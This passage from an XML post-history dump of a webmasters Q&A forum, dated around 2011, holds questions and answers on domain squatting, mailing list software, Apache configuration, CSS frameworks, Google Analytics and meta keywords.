etc.&#xD;&#xA;&#xD;&#xA;- Using dashes (-) to separate keywords in the domain. &#xD;&#xA;&#xD;&#xA;- You can also try negotiating with domain squatters if you like a domain they own. They often will accept offers far below their advertised price. This is usually because the domain generates little interest and they are just eager to get rid of it." />
  <row Id="45333" PostHistoryTypeId="2" PostId="18613" RevisionGUID="e74b5701-ecac-4532-8999-21520f1e392c" CreationDate="2011-08-22T19:45:34.750" UserId="4502" Text="&gt; Are there any solutions to this kinda of things?&#xD;&#xA;&#xD;&#xA;Your main options largely consist of: &#xD;&#xA;&#xD;&#xA;* Come up with another name that *is* available.&#xD;&#xA;* Use a different TLD.&#xD;&#xA;* Pay whatever the current owner is asking or try to talk them down.&#xD;&#xA;* If you have an actual legal claim to the name and can show the current owner is squatting for purposes of confusing visitors or similar, you might have legal options or be able to file a domain name dispute.&#xD;&#xA;&#xD;&#xA;Squatters may be abusing the rules by any reasonable interpretation, but strictly speaking they generally aren't doing anything that's actually *against* the rules. It sucks, but that's the situation.&#xD;&#xA;" />
  <row Id="45334" PostHistoryTypeId="2" PostId="18614" RevisionGUID="d1043e74-09e8-4244-a74b-36d341663899" CreationDate="2011-08-22T20:21:50.683" UserId="9741" Text="I have tried all the usual mailing list apps (phplist, dada, mailman) but none do exactly what I want.  The requirements seem fairly straight-forward but I can't find an app or service that meets all of them:&#xD;&#xA;&#xD;&#xA; 1. Paste or input a list of users (create users not send out invitations)&#xD;&#xA; 2. Create and manage groups of these users as mailing lists (some users may be on multiple lists)&#xD;&#xA; 3. Associate lists with an email address so any user can send an email to the whole list (must be sent to the list automatically or with a cron job) - I don't want to have to use a web interface to send emails.&#xD;&#xA; 4. Needs to be able to handle HTML emails and attachments&#xD;&#xA;&#xD;&#xA;Unless I am missing something none of the apps I have tried can do all of this.  PHPList came the closest with the mail2list plugin but it does not work reliably and attachments fail." />
  <row Id="45335" PostHistoryTypeId="1" PostId="18614" RevisionGUID="d1043e74-09e8-4244-a74b-36d341663899" CreationDate="2011-08-22T20:21:50.683" UserId="9741" Text="Mailing List Software" />
  <row Id="45336" PostHistoryTypeId="3" PostId="18614" RevisionGUID="d1043e74-09e8-4244-a74b-36d341663899" CreationDate="2011-08-22T20:21:50.683" UserId="9741" Text="&lt;php&gt;&lt;web-applications&gt;&lt;mailing-list&gt;" />
  <row Id="45337" PostHistoryTypeId="2" PostId="18615" RevisionGUID="cebdd70c-608f-4fa6-88a5-5edb3db4c631" CreationDate="2011-08-22T20:21:53.913" UserId="9740" Text="I have a domain which coincidentally is the same name of a company. Is there any legal way in which this company can take my domain away from me?" />
  <row Id="45338" PostHistoryTypeId="1" PostId="18615" RevisionGUID="cebdd70c-608f-4fa6-88a5-5edb3db4c631" CreationDate="2011-08-22T20:21:53.913" UserId="9740" Text="Can a company take my domain away from me?" />
  <row Id="45339" PostHistoryTypeId="3" PostId="18615" RevisionGUID="cebdd70c-608f-4fa6-88a5-5edb3db4c631" CreationDate="2011-08-22T20:21:53.913" UserId="9740" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="45340" PostHistoryTypeId="6" PostId="18615" RevisionGUID="8dd2df76-beb3-4fe7-bcbd-a12900537aa5" CreationDate="2011-08-22T20:27:02.660" UserId="1253" Comment="modified tags" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;legal&gt;&lt;domain-registration&gt;" />
  <row Id="45341" PostHistoryTypeId="2" PostId="18616" RevisionGUID="818580ca-6a2c-41e9-9674-35e376ad84a0" CreationDate="2011-08-22T20:29:31.737" UserId="1253" Text="Yes. If the name was trademarked before you registered it, or the name was in use and popular at the time of your purchase then trademarked later, then they can claim it and take it away from you. If the trademark was filed *after* you purchased the domain, and it was popular or in use, then as long as you don't use that domain in anyway that relates to them or their business they cannot take it away from you." />
  <row Id="45342" PostHistoryTypeId="4" PostId="18614" RevisionGUID="67f7488d-6b07-4057-9760-129356ea2453" CreationDate="2011-08-22T20:31:19.257" UserId="1253" Comment="modified tags, minor text edits" Text="PHP Mailing List Software" />
  <row Id="45343" PostHistoryTypeId="6" PostId="18614" RevisionGUID="67f7488d-6b07-4057-9760-129356ea2453" CreationDate="2011-08-22T20:31:19.257" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;looking-for-a-script&gt;&lt;mailing-list&gt;&lt;phpweb-applications&gt;" />
  <row Id="45344" PostHistoryTypeId="25" PostId="18615" RevisionGUID="0716d471-26ab-4661-8496-e29e7e3be04e" CreationDate="2011-08-22T21:35:07.833" Comment="http://twitter.com/#!/StackWebmasters/status/105754901258321920" />
  <row Id="45346" PostHistoryTypeId="2" PostId="18618" RevisionGUID="f06e7b54-6692-42dc-a04b-65606d5e8304" CreationDate="2011-08-22T22:01:38.477" UserId="3118" Text="You need to code the html and css by hand to get a good result. Even if CorelDraw allows you to save your template to html it will never result in good and usable code." />
  <row Id="45348" PostHistoryTypeId="6" PostId="18614" RevisionGUID="78c7cc04-406c-44d5-b8b9-04aa0d8e9dae" CreationDate="2011-08-22T22:06:35.553" UserId="1010" Comment="No need for a new tag." Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;mailing-list&gt;" />
  <row Id="45349" PostHistoryTypeId="24" PostId="18614" RevisionGUID="78c7cc04-406c-44d5-b8b9-04aa0d8e9dae" CreationDate="2011-08-22T22:06:35.553" Comment="Proposed by 1010 approved by 1253 edit id of 498" />
  <row Id="45350" PostHistoryTypeId="5" PostId="18566" RevisionGUID="5fe830e0-a8f0-4698-858a-6cd35e3f8e4e" CreationDate="2011-08-22T22:30:24.993" UserId="9724" Comment="Followed suggestions in comments for edits to the question." Text="I am looking for a simple way to minimize ads on a website I'm developing in WordPress by only showing ads (Google Adsense, to be precise) on the site upon a large influx of traffic.  A large influx as defined as, say, more than 2x the normal hourly traffic (though the exact metric used to determine popularity is not that important to me).  &#xD;&#xA;&#xD;&#xA;In other words, if ever the site sees a huge influx of traffic, I would like to begin delivering ads (to attempt to cover the incremental server costs).  Otherwise, I would like to keep the site ad-free for the casual visitors.&#xD;&#xA;&#xD;&#xA;Is there a simple way, or plug-in, to do this in WordPress?" />
  <row Id="45351" PostHistoryTypeId="2" PostId="18619" RevisionGUID="3407fe85-d8b6-4d2c-85fc-a0ee3e06e913" CreationDate="2011-08-22T23:05:41.323" UserId="9204" Text="Well I found the answer here.&#xD;&#xA;&#xD;&#xA;http://www.google.com/adsense/support/bin/answer.py?answer=32849&#xD;&#xA;&#xD;&#xA;&gt; You're welcome to display Google ads on the same site or page as other&#xD;&#xA;&gt; third party advertisements provided that the formatting or colors of&#xD;&#xA;&gt; the third party ads is different enough from that of the Google ads.&#xD;&#xA;&gt; In other words, if you choose to place non-Google ads on the same site&#xD;&#xA;&gt; or page as Google ads, it should always be clear to the user that the&#xD;&#xA;&gt; ads are served by different advertising networks and that the&#xD;&#xA;&gt; non-Google ads have no association with Google. If the formats are&#xD;&#xA;&gt; naturally similar, we ask that you choose different color schemes for&#xD;&#xA;&gt; the competing ads.&#xD;&#xA;&#xD;&#xA;Its not okay to make any ads look like google adsense ads." />
  <row Id="45352" PostHistoryTypeId="5" PostId="18574" RevisionGUID="2361f8be-545d-4704-8be9-bb928bb05ebc" CreationDate="2011-08-22T23:06:14.020" UserId="1064" Comment="Added Debian/Ubuntu-specific information" Text="Apache configuration is exhaustively covered in the [Apache documentation][1] (though, if you're using Debian or Ubuntu, there are some [additional considerations][2]) and the best way to familiarize with Apache will be to study each portion of the documentation as you encounter a need to use a particular module or set of directives.&#xD;&#xA;&#xD;&#xA;To address your specific questions:&#xD;&#xA;&#xD;&#xA;&gt; What information needs to be where?&#xD;&#xA;&#xD;&#xA;The file system you described would suggest that your configuration is intended for [name-based virtual hosts][3] (the default [Ubuntu 10.04 Apache configuration][4]) so any directives which apply to your Apache configuration for *all* virtual hosts (i.e. domains, subdomains) should be added to `httpd.conf` and any directives specific to a given virtual host (including its declaration) should be added to the `/sites-available/domain.com.conf` (or similar) file.&#xD;&#xA;&#xD;&#xA;&gt; What is the priority of processing for these?&#xD;&#xA;&#xD;&#xA;Toward the end of a typical `apache2.conf` file, the following directive appears:&#xD;&#xA;&#xD;&#xA;    Include /etc/apache2/sites-enabled&#xD;&#xA;&#xD;&#xA;This directive instructs Apache to include all configuration files in the `sites-enabled` directory. (see [Include documentation][5])&#xD;&#xA;&#xD;&#xA;Files are included in numeric then alphabetical order from 0-9 then A-z.&#xD;&#xA;&#xD;&#xA;&gt; Will repeated information cause a problem?&#xD;&#xA;&#xD;&#xA;Duplicate virtual host definitions will be ignored when Apache is started, however, you will receive a warning when this happens - ideally, you should run `apache2ctl configtest` ([documentation][6]) before attempting to restart Apache so you have the opportunity to correct duplicates or errors which would prevent Apache from starting.&#xD;&#xA;&#xD;&#xA;Note that the config syntax checker will *not* warn you if there are file permission problems or other issues which would prevent Apache from starting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/&#xD;&#xA;  [2]: http://www.control-escape.com/web/configuring-apache2-debian.html&#xD;&#xA;  [3]: http://httpd.apache.org/docs/2.0/vhosts/name-based.html&#xD;&#xA;  [4]: https://help.ubuntu.com/10.04/serverguide/C/httpd.html&#xD;&#xA;  [5]: http://httpd.apache.org/docs/2.0/mod/core.html#include&#xD;&#xA;  [6]: http://httpd.apache.org/docs/2.0/configuring.html#syntax" />
  <row Id="45353" PostHistoryTypeId="2" PostId="18620" RevisionGUID="40d6fa42-ca74-48f9-b7f2-2591a33050eb" CreationDate="2011-08-22T23:42:29.380" UserId="9256" Text="I've been looking for a suitable set of HTML5/CSS3 foundation files to start new projects on. I started off piecing together my own files, but I believe I might be better served in finding a solid and fairly compatible(with me) CSS3/HTML5 framework and then tweaking certain things that may not best suit my own process. &#xD;&#xA;&#xD;&#xA;I'd love to find something that is responsive and that includes aspects focusing on layout, type(hor and vert baselines), form and interface components, cross-browser issues, and preferably built on something other than a just imple css reset, but that does include rebuilding elements consistently across browsers for a clean work slate. Extra features like polyfills or others area great, as is good documentation and examples.&#xD;&#xA;&#xD;&#xA;So far, off the top of my head I know of,&#xD;&#xA;*Skeleton&#xD;&#xA;*1140 Grid&#xD;&#xA;*320 &amp; Up (plus BP)&#xD;&#xA;*HTML5 Boilerplate 2.0 and Mobile&#xD;&#xA;*Inuit.css&#xD;&#xA;*Less Framework&#xD;&#xA;*Fluir&#xD;&#xA;*Perkins.Less&#xD;&#xA;* A few WP themes&#xD;&#xA;&#xD;&#xA;Are there any great one I don't know about? I work a lot in WP, and something that is easily incorporated (but also stand alone) is ideal. Plugins and wide set feature while maintaining the ability to cut it down when needed(flexibility) is also a big plus, and in par with a faster learning, since I want to start using whatever I find immediately . &#xD;&#xA;&#xD;&#xA;What are some of the better options you guys might be able to recommend? Systems or scripts, plugins, and other related tools are also welcome, Thanks! " />
  <row Id="45354" PostHistoryTypeId="1" PostId="18620" RevisionGUID="40d6fa42-ca74-48f9-b7f2-2591a33050eb" CreationDate="2011-08-22T23:42:29.380" UserId="9256" Text="Responsive Design: Which Framework Should I Use? CSS3 &amp; HTML5" />
  <row Id="45355" PostHistoryTypeId="3" PostId="18620" RevisionGUID="40d6fa42-ca74-48f9-b7f2-2591a33050eb" CreationDate="2011-08-22T23:42:29.380" UserId="9256" Text="&lt;html5&gt;&lt;css3&gt;&lt;css-framework&gt;" />
  <row Id="45356" PostHistoryTypeId="5" PostId="18620" RevisionGUID="f3a34c96-3efa-42e8-87b5-0b12b0f8110a" CreationDate="2011-08-22T23:49:49.417" UserId="9256" Comment="added formatting to list" Text="I've been looking for a suitable set of HTML5/CSS3 foundation files to start new projects on. I started off piecing together my own files, but I believe I might be better served in finding a solid and fairly compatible(with me) CSS3/HTML5 framework and then tweaking certain things that may not best suit my own process. &#xD;&#xA;&#xD;&#xA;I'd love to find something that is responsive and that includes aspects focusing on layout, type(hor and vert baselines), form and interface components, cross-browser issues, and preferably built on something other than a just imple css reset, but that does include rebuilding elements consistently across browsers for a clean work slate. Extra features like polyfills or others area great, as is good documentation and examples.&#xD;&#xA;&#xD;&#xA;So far, off the top of my head I know of,&#xD;&#xA;&#xD;&#xA; - Skeleton&#xD;&#xA; - 1140 Grid&#xD;&#xA; - List item&#xD;&#xA; - 320 &amp; Up (plus BP)&#xD;&#xA; - HTML5 Boilerplate 2.0 and Mobile&#xD;&#xA; - Inuit.css&#xD;&#xA; - Less Framework&#xD;&#xA; - Fluir&#xD;&#xA; - Perkins.Less&#xD;&#xA; - A few WP themes&#xD;&#xA;&#xD;&#xA;Are there any great one I don't know about? I work a lot in WP, and something that is easily incorporated (but also stand alone) is ideal. Plugins and wide set feature while maintaining the ability to cut it down when needed(flexibility) is also a big plus, and in par with a faster learning, since I want to start using whatever I find immediately . &#xD;&#xA;&#xD;&#xA;What are some of the better options you guys might be able to recommend? Systems or scripts, plugins, and other related tools are also welcome, Thanks! " />
  <row Id="45357" PostHistoryTypeId="16" PostId="18620" RevisionGUID="99e1786a-4614-4072-8236-57ab8eed1733" CreationDate="2011-08-22T23:51:32.750" UserId="1253" />
  <row Id="45358" PostHistoryTypeId="2" PostId="18621" RevisionGUID="8633028a-b9c3-4161-b1c3-5ae7954c7e9b" CreationDate="2011-08-22T23:56:49.563" UserId="9377" Text="My competitor has a forum where its customer post. I want to use all those threads to find to determine which keywords I should use on my own site, because forums have terms customers use and search for.&#xD;&#xA;&#xD;&#xA;I can pick a page and analyse it to find which keyword and phrase are popular, but how do I analyse the whole site ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45359" PostHistoryTypeId="1" PostId="18621" RevisionGUID="8633028a-b9c3-4161-b1c3-5ae7954c7e9b" CreationDate="2011-08-22T23:56:49.563" UserId="9377" Text="How to analyse the keyword density of an entire website?" />
  <row Id="45360" PostHistoryTypeId="3" PostId="18621" RevisionGUID="8633028a-b9c3-4161-b1c3-5ae7954c7e9b" CreationDate="2011-08-22T23:56:49.563" UserId="9377" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="45361" PostHistoryTypeId="5" PostId="18621" RevisionGUID="5ac5dac5-1a54-44a0-b417-777c2e2e37e1" CreationDate="2011-08-23T00:11:45.727" UserId="9377" Comment="deleted 8 characters in body" Text="My competitor has a forum where its customer post. I want to use all those threads to determine which keywords I should use on my own site, because forums have terms customers use and search for.&#xD;&#xA;&#xD;&#xA;I can pick a page and analyse it to find which keyword and phrase are popular, but how do I analyse the whole site ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45362" PostHistoryTypeId="25" PostId="18604" RevisionGUID="7d11e0bf-dffa-4c27-8904-ddd2eb47c580" CreationDate="2011-08-23T00:35:07.117" Comment="http://twitter.com/#!/StackWebmasters/status/105800197363347456" />
  <row Id="45363" PostHistoryTypeId="17" PostId="18622" RevisionGUID="fedda42d-c225-4ce4-b0d5-c32fa1846016" CreationDate="2011-08-23T01:40:56.523" UserId="-1" Comment="from http://stackoverflow.com/questions/7148491/error-504-with-apache-and-php" Text="" />
  <row Id="45364" PostHistoryTypeId="2" PostId="18622" RevisionGUID="e0d8fcef-6813-41a8-9ffe-d904b4d58486" CreationDate="2011-08-22T13:50:14.523" UserDisplayName="SaltyNuts" Text="My web application works fine in development environment, but on production server gives off:&#xD;&#xA;&#xD;&#xA;    504 Gateway Time-out&#xD;&#xA;    The server didn't respond in time. &#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;Edit: I have traced the problem to a `session_start()` call - it never completes and ends in a 504 error above. What could cause this?&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Both servers are running Linux, although of course they are not perfect clones of each other. There are many other php apps running on the same server with no issues, the production server is not overloaded in any way, and hardware wise, the production server is much better in specs than the development one. I checked out php error log and do not see anything other than&#xD;&#xA;&#xD;&#xA;    [22-Aug-2011 09:38:01] PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/pdo_sqlite.so' - /usr/lib64/php/modules/pdo_sqlite.so: undefined symbol: php_pdo_register_driver in Unknown on line 0&#xD;&#xA;&#xD;&#xA;Which is something I see all the time even if it's working fine, and I generally don't care about this error as I'm not using sqlite. &#xD;&#xA;&#xD;&#xA;Where else can I see what's going on and what to do to fix it?" />
  <row Id="45365" PostHistoryTypeId="1" PostId="18622" RevisionGUID="e0d8fcef-6813-41a8-9ffe-d904b4d58486" CreationDate="2011-08-22T13:50:14.523" UserDisplayName="SaltyNuts" Text="Error 504 with Apache and php" />
  <row Id="45366" PostHistoryTypeId="3" PostId="18622" RevisionGUID="e0d8fcef-6813-41a8-9ffe-d904b4d58486" CreationDate="2011-08-22T13:50:14.523" UserDisplayName="SaltyNuts" Text="&lt;php&gt;&lt;apache&gt;&lt;apache2&gt;" />
  <row Id="45367" PostHistoryTypeId="25" PostId="18608" RevisionGUID="1c0b0e45-119f-41c3-8f05-50ecb7ed4e42" CreationDate="2011-08-23T03:35:07.800" Comment="http://twitter.com/#!/StackWebmasters/status/105845497247436800" />
  <row Id="45368" PostHistoryTypeId="2" PostId="18623" RevisionGUID="b9056f5a-03b7-445c-9d92-91257a20b03c" CreationDate="2011-08-23T05:45:19.373" UserId="9285" Text="Is it possible to use Google Analytics or a similar tool to track the users' inter-site click behaviour?&#xD;&#xA;&#xD;&#xA;I'd like to know how many users clicked on certain links on a particular page which lead them to a different area of the site.&#xD;&#xA;&#xD;&#xA;e.g. if users always click on &quot;Contact Us&quot; link after reading &quot;About Us&quot;, then we can reason that &quot;About Us&quot; page makes the visitors want to call us.&#xD;&#xA;&#xD;&#xA;The question is how do I find out how many visits to the 'contact-us.html' page are from 'about-us.html' (without appending parameters like ?source=aboutus to the URL) ? &#xD;&#xA;&#xD;&#xA;Some kind of statistics like:&#xD;&#xA;&#xD;&#xA;    Statistics for contact-us.html &#xD;&#xA;    ------------------------------&#xD;&#xA;    Previous Page | Clicks &#xD;&#xA;    --------------|---------&#xD;&#xA;    about-us.html | 250&#xD;&#xA;    index.html    | 123&#xD;&#xA;    history.html  | 0     &lt;--- probably remove the link on history.html page&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45369" PostHistoryTypeId="1" PostId="18623" RevisionGUID="b9056f5a-03b7-445c-9d92-91257a20b03c" CreationDate="2011-08-23T05:45:19.373" UserId="9285" Text="Find out where the user has come from -- previous page URL within the same site" />
  <row Id="45370" PostHistoryTypeId="3" PostId="18623" RevisionGUID="b9056f5a-03b7-445c-9d92-91257a20b03c" CreationDate="2011-08-23T05:45:19.373" UserId="9285" Text="&lt;google-analytics&gt;&lt;traffic&gt;&lt;tracking&gt;&lt;statistics&gt;&lt;click-tracking&gt;" />
  <row Id="45371" PostHistoryTypeId="25" PostId="18623" RevisionGUID="2ce4b713-82f9-4f39-8931-c8c9bf855a19" CreationDate="2011-08-23T06:35:07.707" Comment="http://twitter.com/#!/StackWebmasters/status/105890796221370368" />
  <row Id="45372" PostHistoryTypeId="2" PostId="18624" RevisionGUID="a7a099b4-76da-4f5c-a70e-dd500c85e110" CreationDate="2011-08-23T06:38:48.013" UserId="8009" Text="Google Analytic's &quot;In-page&quot; analytics feature is what you're after, I believe. It allows you to browse your website like any other user (within google analytics), and every link displays a number of vistitors that clicked that link (and a percentage) next to it. Handy for doing the exact type of analytics you mentioned." />
  <row Id="45373" PostHistoryTypeId="2" PostId="18625" RevisionGUID="d0b2474f-60b5-4f9f-8b35-85fd43d6569f" CreationDate="2011-08-23T07:25:50.963" UserId="7198" Text="Use the &quot;Navigation Summary&quot; to work out which internal page a visitor reached your page from:&#xD;&#xA;&#xD;&#xA; 1. Choose 'Content' and then 'Content by Title' from the Analytics menu:&#xD;&#xA;&#xD;&#xA;    ![content by title from the Google Analytics menu][1]&#xD;&#xA;&#xD;&#xA; 2. Click whichever page title you're interesting in learning more about:&#xD;&#xA;&#xD;&#xA;    ![List of page titles in Google Analytics][2]&#xD;&#xA;&#xD;&#xA; 3. Click the page URL in the Content Performance table:&#xD;&#xA;&#xD;&#xA;    ![The page URL][3]&#xD;&#xA;&#xD;&#xA; 4. Click 'Navigation Summary' under the 'Navigation Analysis' header:&#xD;&#xA;&#xD;&#xA;    ![navigation summary in analytics][4]&#xD;&#xA;&#xD;&#xA;That's it! You'll see a summary of internal entrance pages on the left hand side for that page, and internal exit pages on the right hand side. The 'previous pages' column on the left tells you where visitors to that page came from, exactly as you've asked for:&#xD;&#xA;&#xD;&#xA;![internal entrance and exit pages in Google analytics][5]&#xD;&#xA;&#xD;&#xA;Note that the &quot;35.15% Entrances&quot; information on the screenshot above tells me that 35.15% of people arrived at my site via that page (i.e. they didn't come to it from another internal page).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/C6wXm.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/aCdG8.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/VA9im.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/BZbn5.png&#xD;&#xA;  [5]: http://i.stack.imgur.com/EcbhM.png" />
  <row Id="45374" PostHistoryTypeId="2" PostId="18626" RevisionGUID="0e34d797-c056-4040-bff9-405a18b90dff" CreationDate="2011-08-23T07:36:23.683" UserId="7198" Text="Joni Korpi, creator of the 'Less' framework, just released his ['Golden Grid System'](http://goldengridsystem.com/), an adaptive framework that's notable for its elastic gutters and zoomable baseline grid.&#xD;&#xA;&#xD;&#xA;Beyond that, though, you've mentioned the popular ones; if they don't meet your needs, you'd be wise to consider building your own framework. Two books I recommend that will help:&#xD;&#xA;&#xD;&#xA;- [Responsive Web Design](http://www.abookapart.com/products/responsive-web-design) by Ethan Marcotte  &#xD;&#xA;- [Adaptive Web Design](http://easy-readers.net/) by Aaron Gustafson&#xD;&#xA;&#xD;&#xA;In building your own framework (or starting template), you'll learn a great deal and end up with something that caters to your specific tastes and requirements. Frameworks can be great, but you often end up making a lot of changes to them to suit your needs; why not simply start from scratch?" />
  <row Id="45375" PostHistoryTypeId="16" PostId="18626" RevisionGUID="8636b2bd-858c-4acb-b200-029bfde7674c" CreationDate="2011-08-23T07:36:23.683" UserId="7198" />
  <row Id="45376" PostHistoryTypeId="2" PostId="18627" RevisionGUID="f49c6733-1f99-4a70-b78f-1e8a7b3c3882" CreationDate="2011-08-23T08:32:34.610" UserId="3899" Text="We'he recently bought couple of domains but the content of the domains is still under development. &#xD;&#xA;&#xD;&#xA;Which content should we upload to the domains to tell search engines &quot;There is currently nothing, but check in the future&quot; and don't get crawling/ranking penalty for the future content?" />
  <row Id="45377" PostHistoryTypeId="1" PostId="18627" RevisionGUID="f49c6733-1f99-4a70-b78f-1e8a7b3c3882" CreationDate="2011-08-23T08:32:34.610" UserId="3899" Text="Which content or HTTP status should return unused domain?" />
  <row Id="45378" PostHistoryTypeId="3" PostId="18627" RevisionGUID="f49c6733-1f99-4a70-b78f-1e8a7b3c3882" CreationDate="2011-08-23T08:32:34.610" UserId="3899" Text="&lt;seo&gt;&lt;html&gt;&lt;domains&gt;&lt;http&gt;" />
  <row Id="45379" PostHistoryTypeId="17" PostId="18628" RevisionGUID="fcbdaedc-8f57-47ba-985f-58b6f87ee240" CreationDate="2011-08-23T08:35:04.020" UserId="-1" Comment="from http://stackoverflow.com/questions/997357/can-website-have-multiple-meta-keywords" Text="" />
  <row Id="45380" PostHistoryTypeId="2" PostId="18629" RevisionGUID="7486d2a1-7e53-407f-bbfc-752e101acaa4" CreationDate="2009-06-15T17:39:48.243" UserDisplayName="Welbog" Text="The `keywords` meta tag doesn't do anything anymore, at least as far as most search engines are concerned. You're trying to solve a problem that doesn't exist. Search engines index by content nowadays, and they do that without your help.&#xD;&#xA;&#xD;&#xA;See [the Wikipedia article on the meta tag][1]:&#xD;&#xA;&#xD;&#xA;&gt;Search engines began dropping support for metadata provided by the meta element in 1998, and by the early 2000s, most search engines had veered completely away from reliance on meta elements. In July 2002, AltaVista, one of the last major search engines to still offer support, finally stopped considering them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Meta_tag#The_keywords_attribute" />
  <row Id="45381" PostHistoryTypeId="2" PostId="18628" RevisionGUID="8f53f599-6171-4bc5-8d24-1d852c9350fd" CreationDate="2009-06-15T17:35:48.573" UserId="3604" Text="Are these two equivalent?&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;first&quot; /&gt;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;second, third&quot; /&gt;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;first, second, third&quot; /&gt;&#xD;&#xA;&#xD;&#xA;I have keywords that are applied for all the pages and then I want to have separate set of keywords for each page. Is there any problem with having multiple keywords tags, especially in SEO?" />
  <row Id="45382" PostHistoryTypeId="1" PostId="18628" RevisionGUID="8f53f599-6171-4bc5-8d24-1d852c9350fd" CreationDate="2009-06-15T17:35:48.573" UserId="3604" Text="Can website have multiple meta keywords?" />
  <row Id="45383" PostHistoryTypeId="3" PostId="18628" RevisionGUID="8f53f599-6171-4bc5-8d24-1d852c9350fd" CreationDate="2009-06-15T17:35:48.573" UserId="3604" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="45384" PostHistoryTypeId="17" PostId="18629" RevisionGUID="6ffe91e2-998a-4502-9f19-1f7dfe8618b6" CreationDate="2011-08-23T08:35:04.020" UserId="-1" Comment="from http://stackoverflow.com/questions/997357/can-website-have-multiple-meta-keywords" Text="" />
  <row Id="45385" PostHistoryTypeId="17" PostId="18630" RevisionGUID="52226bcc-f94a-40a7-b97d-286542e76d15" CreationDate="2011-08-23T08:35:04.020" UserId="-1" Comment="from http://stackoverflow.com/questions/997357/can-website-have-multiple-meta-keywords" Text="" />
  <row Id="45386" PostHistoryTypeId="2" PostId="18630" RevisionGUID="23cbd13a-be6a-4d9d-8d35-142fb4a44c5a" CreationDate="2009-06-18T12:43:02.220" UserDisplayName="Bortakmeki" Text="Your first example is the correct way, the second would not improve things at all, and might make things worse.&#xD;&#xA;&#xD;&#xA;Personally, I disagree with Welbog's answer, primairily on the account that if keywords were no longer relevant, why do things like google webmaster tools cater for them? I suspect that there might have been some confusion with meta description tag, which did go out of favour for some time a while ago, but does appear to be coming back into fashion.&#xD;&#xA;&#xD;&#xA;When optimizing individual pages, title, keywords and description tags are all important, as are long tail url strings and directory names, but dont abuse them. Also, you can make clever use of the author and copyright tags by rewording your company name or title in them again.&#xD;&#xA;&#xD;&#xA;It is possible to find good and bad reasons to use/not use any tag. What you will find though is generally the following. Those that suggest a tag is not needed are invariably selling a link program or PPC type thing. Those that use them and take the time to use them inventively without breaking the rules will charge more up front, but, the long term benefits will be huge." />
  <row Id="45387" PostHistoryTypeId="5" PostId="18627" RevisionGUID="16576dfb-30aa-4467-930d-74fcd53b08e5" CreationDate="2011-08-23T08:38:35.137" UserId="3899" Comment="edited body" Text="We've recently bought couple of domains but the content of the domains is still under development. &#xD;&#xA;&#xD;&#xA;Which content should we upload to the domains to tell search engines &quot;There is currently nothing, but check in the future&quot; and don't get crawling/ranking penalty for the future content?" />
  <row Id="45388" PostHistoryTypeId="2" PostId="18631" RevisionGUID="12a59b3b-a11b-4acd-adbc-9ae6b0c18fb2" CreationDate="2011-08-23T08:45:55.900" UserId="8009" Text="So, I'm an 'avid' user of google webmaster tools and analytics. I'm building an e-commerce site, all with original product descriptions and a base of 'useful' industry-relevant content. I generated and submitted a new sitemap yesterday with some new content. Next to the sitemap in google webmaster tools, yesterday I had approx '600 urls in web index'. Today... 5. 5!?&#xD;&#xA;&#xD;&#xA;There is no canocial issue, the site is configured properly to go to the non-www version, there are no 'spammy' links (probably no links at all at this stage...) and no duplicate or spammy content.&#xD;&#xA;&#xD;&#xA;What has happened? To add further confusion, doing a site: search on google churns out 5.8k results, so it's still 'in the index', and monitoring certain keywords tells me that most of them still rank and rankings havent been changed... what is webmaster tools telling me by saying there are 5 urls in the web index?" />
  <row Id="45389" PostHistoryTypeId="1" PostId="18631" RevisionGUID="12a59b3b-a11b-4acd-adbc-9ae6b0c18fb2" CreationDate="2011-08-23T08:45:55.900" UserId="8009" Text="Understanding Google Webmasters Tools Sitemaps Information" />
  <row Id="45390" PostHistoryTypeId="3" PostId="18631" RevisionGUID="12a59b3b-a11b-4acd-adbc-9ae6b0c18fb2" CreationDate="2011-08-23T08:45:55.900" UserId="8009" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;indexing&gt;&lt;google-index&gt;" />
  <row Id="45391" PostHistoryTypeId="17" PostId="18632" RevisionGUID="5608e5d8-9939-4abc-a9ed-782b92d7759a" CreationDate="2011-08-23T09:31:57.467" UserId="-1" Comment="from http://stackoverflow.com/questions/7157172/how-can-i-get-plusone-to-display-my-images" Text="" />
  <row Id="45392" PostHistoryTypeId="17" PostId="18633" RevisionGUID="c5f47c17-7ae3-4c55-8aa1-5a508b159548" CreationDate="2011-08-23T09:31:57.467" UserId="-1" Comment="from http://stackoverflow.com/questions/7157172/how-can-i-get-plusone-to-display-my-images" Text="" />
  <row Id="45393" PostHistoryTypeId="2" PostId="18633" RevisionGUID="89ae0828-5cec-49bb-91bc-1c6f0ce9552e" CreationDate="2011-08-23T07:17:33.687" UserDisplayName="digi" Text="Try using the standard image_src:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;image_src&quot; href=&quot;http://blah-blah.com/blah.jpg&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Haven't tried it but I found it in this discussion: http://www.google.com/support/forum/p/Webmasters/thread?tid=487a1a88078bbf62&amp;hl=en&#xD;&#xA;&#xD;&#xA;Good luck :)" />
